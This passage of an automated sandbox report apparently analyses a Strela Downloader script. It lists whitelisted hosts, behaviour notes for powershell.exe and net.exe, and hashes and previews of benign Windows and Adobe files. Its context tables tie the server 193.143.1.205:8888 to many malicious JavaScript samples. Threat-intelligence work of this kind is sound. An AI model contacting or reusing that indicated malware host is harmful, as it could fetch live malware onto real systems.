Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 23.46.156.10, 23.46.156.55, 23.46.156.18, 23.46.156.6, 23.46.156.5, 23.46.156.17, 23.46.156.12, 23.46.156.11, 23.46.156.4, 192.168.2.4, 20.12.23.50, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:30:39	API Interceptor	21x Sleep call for process: powershell.exe modified
22:30:43	API Interceptor	1x Sleep call for process: net.exe modified
22:30:43	API Interceptor	2x Sleep call for process: svchost.exe modified
22:30:56	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073551543423698
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrW:KooCEYhgYEL0In
MD5:	8DD9D99FBC64CB2E6CEE89E814CB9459
SHA1:	9FEE7E91F7C6EABEA1E8C0832B4261C97CADFDA2
SHA-256:	A15848CFB9CEF9A30540B6AA292138BD37429AF0B23199B006917AE2A8D06312
SHA-512:	5349130598FDF82D42EC2BFA2BD67942F0FB8F04EE966FEEA518048365CE332DB8582EA290FEE91C90FC53965656FC620871ABF50B6B469A23BD53E5ECBD0C18
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0014f132, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213146688103503
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	96C7841AC8D44E4FC2F00992D23E7CFF
SHA1:	2D620EF1740758D6E341E7A5D6DC3AEA1CAAD82B
SHA-256:	AC512A220E7F338876FDCFF3695CBF8CE4BC60BFA72B0FF4A2634853CDD86B83
SHA-512:	C4EE48B581BCDE8FA09952E551C8F26389B6108C17253C371432B35F96A898248B83430D802ED0C47B5D8A2EB038C6C432DA12A3DC8208C213A917425DC07DAF
Malicious:	false
Preview:	...2... .......A.......X\...;...{......................0.!..........{A.+....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................+....}+..................*.0+....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07656303819696554
Encrypted:	false
SSDEEP:	3:RmtlEYe5/yauAjjn13a/IFq/l/allcVO/lnlZMxZNQl:Rdz5qabj53qIFqtGOewk
MD5:	6B425D2EA8F0406291A53641557B32E4
SHA1:	C97A2AA1CE8F18341F500A39B6C3233707E521CE
SHA-256:	75EFDFDFB95A2FDF435A60AB7DDCB596826EBE9663E07851CDF281376064235B
SHA-512:	22B7EF9A22696C2425875BE067025941132595843C91D24C2A670E0CCE6A8A7AA0B57D6F018515275D51C84CE164B024C36E389EE0022FD982ECB569FECA60E5
Malicious:	false
Preview:	.i.2.....................................;...{..+....}.......{A..............{A......{A..........{A].................*.0+....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.164750232959292
Encrypted:	false
SSDEEP:	6:iO4qXYXj+q2Pwkn2nKuAl9OmbnIFUtSqXYXsZmwsqXYXsVkwOwkn2nKuAl9Ombjd:7mqvYfHAahFUtMc/ac5JfHAaSJ
MD5:	EEB0809EB6D9695A8B36C06DA48A17D0
SHA1:	9F22580D01A74F99FBDE71AD31A6FF5DEB3B479B
SHA-256:	7269CA7D175CB7F384640D18E5CA31F5F4FABE6FF2509F3600B847ECF0994715
SHA-512:	639E70E9359FA181FE5C7E6BA516624F3E0B1F8E70E04FC8309DA57CFCBF42806B320D53B858BE079AD47322AFFCD16F8E83E27FEB994B674C09EE648C569758
Malicious:	false
Preview:	2025/01/10-22:30:43.307 1bb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:30:43.311 1bb8 Recovering log #3.2025/01/10-22:30:43.311 1bb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.164750232959292
Encrypted:	false
SSDEEP:	6:iO4qXYXj+q2Pwkn2nKuAl9OmbnIFUtSqXYXsZmwsqXYXsVkwOwkn2nKuAl9Ombjd:7mqvYfHAahFUtMc/ac5JfHAaSJ
MD5:	EEB0809EB6D9695A8B36C06DA48A17D0
SHA1:	9F22580D01A74F99FBDE71AD31A6FF5DEB3B479B
SHA-256:	7269CA7D175CB7F384640D18E5CA31F5F4FABE6FF2509F3600B847ECF0994715
SHA-512:	639E70E9359FA181FE5C7E6BA516624F3E0B1F8E70E04FC8309DA57CFCBF42806B320D53B858BE079AD47322AFFCD16F8E83E27FEB994B674C09EE648C569758
Malicious:	false
Preview:	2025/01/10-22:30:43.307 1bb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:30:43.311 1bb8 Recovering log #3.2025/01/10-22:30:43.311 1bb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.169881861136647
Encrypted:	false
SSDEEP:	6:iO4qXYJN+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqXYUmZmwsqXYuiVkwOwkn2nKuAlx:7mJIvYfHAa8uFUtMZ/aua5JfHAa8RJ
MD5:	F3C35615A547158566D08ADB808DA6F2
SHA1:	D33B5FA3FBF9AE27B234136DEA3041A9EA1AB943
SHA-256:	C53747837FBC0C78F75DCD3056536974B983603F8D6C44F8A339E3203B746699
SHA-512:	D68486050C08CACD4BCC683B32AB4FDB1775D449FF1AD935CA1EA9CC772EF6D24A5FD3041D7E07E08AA7CD50620B9F33D1FD94921B7E64802A288D3A8A185186
Malicious:	false
Preview:	2025/01/10-22:30:43.428 15a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:30:43.440 15a8 Recovering log #3.2025/01/10-22:30:43.446 15a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.169881861136647
Encrypted:	false
SSDEEP:	6:iO4qXYJN+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqXYUmZmwsqXYuiVkwOwkn2nKuAlx:7mJIvYfHAa8uFUtMZ/aua5JfHAa8RJ
MD5:	F3C35615A547158566D08ADB808DA6F2
SHA1:	D33B5FA3FBF9AE27B234136DEA3041A9EA1AB943
SHA-256:	C53747837FBC0C78F75DCD3056536974B983603F8D6C44F8A339E3203B746699
SHA-512:	D68486050C08CACD4BCC683B32AB4FDB1775D449FF1AD935CA1EA9CC772EF6D24A5FD3041D7E07E08AA7CD50620B9F33D1FD94921B7E64802A288D3A8A185186
Malicious:	false
Preview:	2025/01/10-22:30:43.428 15a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:30:43.440 15a8 Recovering log #3.2025/01/10-22:30:43.446 15a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80e294f6-cca5-413f-b307-3800af814e65.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966596943422396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqssBdOg2HZ2caq3QYiubInP7E4T3y:Y2sRdsIdMHZJ3QYhbG7nby
MD5:	880EC95A0859A60DBA8700A19416E58D
SHA1:	D5818B2F427623502201E098717120C78FF645BB
SHA-256:	07520D3FE3F1132AE165C8255AEDF805EF1A539C7EEE1F3D4412DE2392026325
SHA-512:	20BADF230600BE2ABF7A9BFEACD356140F2EC57A1DA332836BBD661992629A5C27C4EA97D68FC2353DF62E42CE1E6FDACCD31BCB2224247A56E62EEBBF376E20
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126255792430","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138130},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966596943422396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqssBdOg2HZ2caq3QYiubInP7E4T3y:Y2sRdsIdMHZJ3QYhbG7nby
MD5:	880EC95A0859A60DBA8700A19416E58D
SHA1:	D5818B2F427623502201E098717120C78FF645BB
SHA-256:	07520D3FE3F1132AE165C8255AEDF805EF1A539C7EEE1F3D4412DE2392026325
SHA-512:	20BADF230600BE2ABF7A9BFEACD356140F2EC57A1DA332836BBD661992629A5C27C4EA97D68FC2353DF62E42CE1E6FDACCD31BCB2224247A56E62EEBBF376E20
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126255792430","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138130},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254870910185175
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7Ljy:etJCV4FiN/jTN/2r8Mta02fEhgO73gom
MD5:	CF78A295DDC82A2082837CB7E23E15AD
SHA1:	9BC48B023176C51F65D7EB027A75DD7B2BDD5974
SHA-256:	0B48CF02691E6339C53FCF9A6B12415B5E2EB04333AC2FDCE687DF560037C474
SHA-512:	EA6144C0BA6E48C4290E3D6F86A396900CB78AA39AD3BCEBF38722C07A9B314C3E020B8E21857475ED4E2E28818B36F33C238BC6A9489A97A534A5F94BA7942B
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1712100433390855
Encrypted:	false
SSDEEP:	6:iO4qXYx7+q2Pwkn2nKuAl9OmbzNMxIFUtSqXYxZZmwsqXYOU7VkwOwkn2nKuAl9c:7mcvYfHAa8jFUtMb/a7h5JfHAa84J
MD5:	9B99E6264CB7EC43EC1A87A3956167BD
SHA1:	EDD8FE24D9E16C1A768C94E043EF9964993D12FB
SHA-256:	BF51D04F468B2DEE5142D0169A6B37152823FAE3E4D737929D6E9412D7B7B9E0
SHA-512:	ADF5938ED4B1834B8D741179538DD673907987B6F080226692C332C31682A64290900B39AAB00D7D485DFC0EDD4F28B5C63D7A80C9DC4C6E8430EE92351B8EBF
Malicious:	false
Preview:	2025/01/10-22:30:43.602 15a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:30:43.613 15a8 Recovering log #3.2025/01/10-22:30:43.626 15a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1712100433390855
Encrypted:	false
SSDEEP:	6:iO4qXYx7+q2Pwkn2nKuAl9OmbzNMxIFUtSqXYxZZmwsqXYOU7VkwOwkn2nKuAl9c:7mcvYfHAa8jFUtMb/a7h5JfHAa84J
MD5:	9B99E6264CB7EC43EC1A87A3956167BD
SHA1:	EDD8FE24D9E16C1A768C94E043EF9964993D12FB
SHA-256:	BF51D04F468B2DEE5142D0169A6B37152823FAE3E4D737929D6E9412D7B7B9E0
SHA-512:	ADF5938ED4B1834B8D741179538DD673907987B6F080226692C332C31682A64290900B39AAB00D7D485DFC0EDD4F28B5C63D7A80C9DC4C6E8430EE92351B8EBF
Malicious:	false
Preview:	2025/01/10-22:30:43.602 15a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:30:43.613 15a8 Recovering log #3.2025/01/10-22:30:43.626 15a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444885068977877
Encrypted:	false
SSDEEP:	384:SePci5tmiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:vps3OazzU89UTTgUL
MD5:	D04E41110468D1974E9EC39C61030534
SHA1:	2D3B6FA532706B9DD7F1DC748DE1DEFAAD521E3D
SHA-256:	220F90D3F39B66D442170AEC9B1B85C02C702C3A59EEFDB794849A06C73618C8
SHA-512:	3175B78F2285AF7A5F9EABB059C98B10D3EDDBEAACC24438B3CB2D8AC3CB62E165C145D583F3F3288307830689EEBB4FC3CA50216D6F31840B6AB94084AFDEBC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2120567856896924
Encrypted:	false
SSDEEP:	24:7+tgQenuwKxqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf97:7MmnCxqvmFTIF3XmHjBoGGR+jMz+LhF
MD5:	45F111EE9DADFB9A19BD15EEECC3A4E0
SHA1:	0A8E721623C8E72172AA70604E3E4AC7103EE2D3
SHA-256:	637D1D6827FA2D2788BDA2B2ED0496BAC062BF74AB751B41CBB09DA852CD9909
SHA-512:	4B40A0BF78C5DADFA7A25292294CB41108FBD264D7AB7552556D6F066AB393BF0647B83647A4272FD24ADEEA4D7BE056CBE1069FA08349A07EA25EFC19DE0C05
Malicious:	false
Preview:	.... .c.....0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.717788161692104
Encrypted:	false
SSDEEP:	3:kkFklW1Nl/tfllXlE/HT8kykzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKP1NteT8gpNMa8RdWBwRd
MD5:	DE1D3DD850EAA9455D51EA368DD7FBCB
SHA1:	FCB05020C02F1471B9002451167EEF66413D9630
SHA-256:	2948F71672A8034B39D509DBE771E815713DFDC8763F9BF7EFC027A00E87F62E
SHA-512:	90CF24FD24673B3E781E9B1617419F2551F39A81FDB44A853902E3EDB6C434033C790612D647B1C4D93536196C504C8CF36611F2524DE07BC6034346DBDFBC65
Malicious:	false
Preview:	p...... ........emp9.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7892

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
